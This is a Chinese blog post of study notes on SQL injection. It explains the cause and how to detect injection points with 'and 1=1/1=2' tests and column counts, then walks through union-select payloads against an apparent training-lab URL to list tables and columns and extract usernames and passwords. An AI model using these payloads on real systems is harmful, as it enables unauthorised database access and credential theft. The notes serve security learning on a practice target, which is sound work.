SQL注入之简要SQL注入

SQL注入安全测试中的危害:

危害数据库里的数据(因为可以直接写入);直接危害到网站的权限。

SQL注入产生原理详细分析:

l  通过sqlilabs代码分析;

l  SQL语句在定义时没有变量,就不能进行SQL注入;

l  可控变量,带入数据库查询,变量为存在过滤或过滤不严谨。

必要知识点:

l  在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information-schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取数据库下面的表名或者列名信息。

l  数据库中符号“.”代表下一级,如xiaodi,user表示xiaodi数据库下的user表名。

Union查询时的关键字:

Information_schema.tables:记录所有表名信息的表;

informarion_schema.columns:记录所有列明信息的表;

table_name:表名;

column_name:列名;

table_schema:数据库名。

如何判断注入点:

  1. 老办法:

and 1=1页面正常

and 1=2页面错误

可能存在注入点

Select * from users where id=1 and 1=1 limit 0,1 正常

Select * from users where id=1 and 1=2 limit 0,1 错误

判断原理:利用逻辑运算符(and):

真且真=真;真且假=假;1=1 真;1=2 假

不能用or,因为真或真=真,真或假=真,不论怎样输入都为真,则无法判断注入点。

  1. SELECT * FROM users WHERE id=1asdsadsad(随便输入) LIMIT 0,1

随便输入后对网页有影响说明带入数据库进行查询有注入点,没有影响说明没有带入数据库查询,出现404错误说明对输入检测没有漏洞。

语句:

  1. 猜解列明数量(字段数)

order by x(数字) x从1递加,直至页面显示错误为止,错误数-1则为此字段数。

  1. 报错猜解准备
  2. 信息收集

用select判断回显位置:

http://219.153.49.228:43230/new_list.php?id=1 union select 1,2,3,4

  1. 信息收集

替换掉回显数字的位置,就能查询到想要的数据

数据库版本:version()

数据库名字:database()

数据库用户:user()

操作系统:@@version_complie_os

  1. 查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,table_name,3,4from information_schema.tables where table_schema=’mozhe_Discuz_StormGroup’

  1. 查询所有:

http://219.153.49.228:43230/new_list.php?id=-1union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

  1. 查询指定表名StormGroup_member下的列明信息:

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

  1. 查询指定数据:

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member


 

posted @ 2023-01-02 16:33  Cx330ki  阅读(52)  评论(0)    收藏  举报